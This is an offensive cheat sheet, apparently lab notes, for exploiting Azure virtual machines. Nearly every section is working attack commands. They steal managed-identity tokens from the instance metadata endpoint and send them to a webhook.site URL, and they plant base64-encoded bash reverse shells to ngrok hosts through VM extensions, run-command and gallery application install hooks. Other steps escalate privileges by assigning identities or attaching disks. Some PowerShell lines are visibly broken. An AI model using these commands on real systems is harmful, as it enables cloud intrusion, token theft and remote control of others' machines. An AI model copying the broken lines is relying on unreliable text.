Virtual Machines Explotation

Get Identity inside VM

System Managed Identity

Linux

curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://vault.azure.net/"

Windows

Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" -Headers @{Metadata="true"}).access_token; Invoke-WebRequest -Uri "https://webhook.site/326f0173-d872-4afd-98c4-a02d1e892d08?token=$token" -Method GET'
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd)

User Managed Identity

Linux

curl -s -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-12-13&resource=https://vault.azure.net/&client_id=$CLIENT_ID"

Windows

Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/&client_id=$CLIENT_ID" -Headers @{Metadata="true"}).access_token; Invoke-WebRequest -Uri "https://webhook.site/326f0173-d872-4afd-98c4-a02d1e892d08?token=$token" -Method GET'
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd)

Execute Arbitrary code in VM

The permission needed is:

  • Microsoft.Compute/virtualMachines/extensions/write

This permission allows to execute extensions in virtual machines which allow to execute arbitrary code on them.

Verify the OS of the VM:

az vm show \
  --resource-group $RESOURCE_GROUP \
  --name $VM_NAME \
  --query "storageProfile.osDisk.osType" \
  -o tsv

Linux VM

Start ngrok

ngrok tcp 4444

Create the payload

$REVSHELL=(echo -n 'bash -i  >& /dev/tcp/x.tcp.eu.ngrok.io/PORT 0>&1  ' | base64)

Start the local listener

ncat -nvlp 4444

Set the malicious extension

az vm extension set \
  --resource-group $RESOURCE_GROUP \
  --vm-name $VM_NAME \
  --name CustomScript \
  --publisher Microsoft.Azure.Extensions \
  --version 2.1 \
  --settings '{}' \
  --protected-settings '{"commandToExecute": "nohup echo $REV_SHELL | base64 -d | nohup bash &"}'

Windows VM

We can exfiltrate to webhook the vault token

$cmd = '$token = (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" -Headers @{Metadata="true"}).access_token; Invoke-WebRequest -Uri "https://webhook.site/326f0173-d872-4afd-98c4-a02d1e892d08?token=$token" -Method GET'
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cmd))
az vm extension set \
  --resource-group $RESOURCE_GROUP \
  --vm-name $VM_NAME \
  --name CustomScriptExtension \
  --publisher Microsoft.Compute \
  --version 1.10 \
  --settings '{"timestamp": 1}' \
  --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JAB0AG8AawBlAG4AIAA9..."}'

Assign User Identity

To VMs

The permissions required are:

  • Microsoft.Compute/virtualMachines/write
  • Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Those permissions are enough to assign new managed identities to a VM. Note that a VM can have several managed identities. It can have the system assigned one, and many user managed identities.

First check the identities assigned to the VM

az vm identity show \
  --resource-group $RESOURCE_GROUP \
  --name $VM_NAME

Then assign a new identity

az vm identity assign \
  --resource-group $RESOURCE_GROUP \
  --name $VM_NAME \
  --identities "$MI_ID"

To VM Applications

az vm application set \
  --resource-group "$RESOURCE_GROUP" \
  --name $VM_NAME \
  --app-version-ids "$IDENTITY" \
  --treat-deployment-as-failure true

Run commands inside VM

The permission required is:

  • Microsoft.Compute/virtualMachines/runCommand/action.

This is the most basic mechanism Azure provides to execute arbitrary commands in VMs.

revshell.sh file content

echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
az vm run-command invoke \
  --resource-group $RESOURCE_GROUP \
  --name $VM_NAME \
  --command-id RunShellScript \
  --scripts @revshell.sh

Login trough bastion

az network bastion tunnel \
  --name $BASTION_NAME \
  --resource-group "$RESOURCE_GROUP" \
  --target-resource-id "$VM_ID" \
  --resource-port 22 \
  --port 50022
ssh -i /tmp/lab5_key \
    -p 50022 \
    -o StrictHostKeyChecking=no \
    -o UserKnownHostsFile=/dev/null \
    azureuser@127.0.0.1

Enumerate all Managed Identities of a VM

ARM_TOKEN=$(curl -s -H 'Metadata: true' \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

SUB="56c0b220-b032-47c9-b6af-69521f9c26e3"
RG="lab_6_vm_network_rg"
VM="lab_6_vm_network_vm"

curl -s -H "Authorization: Bearer $ARM_TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/resourceGroups/$RG/providers/Microsoft.Compute/virtualMachines/$VM?api-version=2023-09-01" \
  | jq '.identity'

Create VM

The following permissions are required:

  • Microsoft.Resources/deployments/write
  • Microsoft.Network/virtualNetworks/write
  • Microsoft.Network/networkSecurityGroups/write
  • Microsoft.Network/networkSecurityGroups/join/action
  • Microsoft.Network/publicIPAddresses/write
  • Microsoft.Network/publicIPAddresses/join/action
  • Microsoft.Network/networkInterfaces/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/virtualNetworks/subnets/join/action
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

All those are the necessary permissions to create a VM with a specific managed identity and leaving a port open (22 in this case). This allows a user to create a VM and connect to it and steal managed identity tokens to escalate privileges to it.

az vm create \
  --resource-group Resource_Group_1 \
  --name cli_vm \
  --image Ubuntu2204 \
  --admin-username azureuser \
  --generate-ssh-keys \
  --assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
  --nsg-rule ssh \
  --location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

We can also create a VM from Galery images. The first step is to enumerate the Community Galleries:

az sig list-community --location centralus --output table

Then check the image definitions:

az sig image-definition list-community \
  --location centralus \
  --public-gallery-name $GALLERY_NAME \
  --output table

And check the versions:

az sig image-version list-community \
  --location centralus \
  --public-gallery-name $GALLERY_NAME \
  --gallery-image-definition $IMAGE_DEF \
  --output table

Inspect the latest version

az sig image-version show-community \
  --location centralus \
  --public-gallery-name $GALLERY_NAME \
  --gallery-image-definition $IMAGE_DEF \
  --gallery-image-version $VERSION

The image id will be

/CommunityGalleries/$GALLERY_NAME/Images/$IMAGE_DEF/Versions/$VERSION
az vm create \
  --resource-group $RESOURCE_GROUP \
  --name maliicous-vm \
  --location centralus \
  --image /CommunityGalleries/$GALLERY_NAME/Images/$IMAGE_DEF/Versions/$VERSION \
  --admin-username admin \
  --generate-ssh-keys \
  --size Standard_B2s \
  --public-ip-sku Standard \
  --nsg-rule SSH

The permissions needed are:

  • Microsoft.Compute/disks/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write

These are the required permissions to create a new gallery application and execute it inside a VM. Gallery applications can execute anything so an attacker could abuse this to compromise VM instances executing arbitrary commands.

Create gallery (if the isn’t any)

az sig create --resource-group $RESOURCE_GROUP \
   --gallery-name myGallery \
   --location "centralus"

Create application container

az sig gallery-application create \
  --application-name myReverseShellApp \
  --gallery-name myGallery \
  --resource-group "$RESOURCE_GROUP" \
  --os-type Linux \
  --location centralus

Create app version with the rev shell

In Package file link just add any link to a blob storage file

az sig gallery-application version create \
  --version-name 1.0.1 \
  --application-name myReverseShellApp \
  --gallery-name myGallery \
  --location centralus \
  --resource-group "$RESOURCE_GROUP" \
  --package-file-link "https:/$STORAGE_ACCOUNT.blob.core.windows.net/package-container/package.txt" \
  --install-command "bash -c 'bash -i >& /dev/tcp/x.tcp.eu.ngrok.io/PORT 0>&1'" \
  --remove-command "bash -c 'bash -i >& /dev/tcp/x.tcp.eu.ngrok.io/PORT 0>&1'" \
  --update-command "bash -c 'bash -i >& /dev/tcp/x.tcp.eu.ngrok.io/PORT 0>&1'"

Attach Disk to VM

The following permissions are required:

  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Compute/virtualMachines/read
  • Microsoft.Compute/disks/read
  • Microsoft.Network/networkInterfaces/read
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

These permissions allow you to manage disks and network interfaces, and they enable you to attach a disk to a virtual machine.

Update the disk’s network access policy

az disk update \
  --name $DISK_NAME \
  --resource-group $RESOURCE_GROUP \
  --network-access-policy AllowAll

Attach the disk to a virtual machine

az vm disk attach \
  --vm-name $VM_NAME \
  --resource-group $RESOURCE_GROUP \
  --name $DISK_NAME

Login into vm and mount the disk:

lsblk
----

sda    7G    disk    /mnt           ← Azure ephemeral
sdb    30G   disk    /              ← disco OS
sdc    1G    disk    (sin montar)   ← target-disk
sudo blkid /dev/sdc
sudo mkdir -p /mnt/targetdisk
sudo mount /dev/sdc /mnt/targetdisk
ls -la /mnt/flagdisk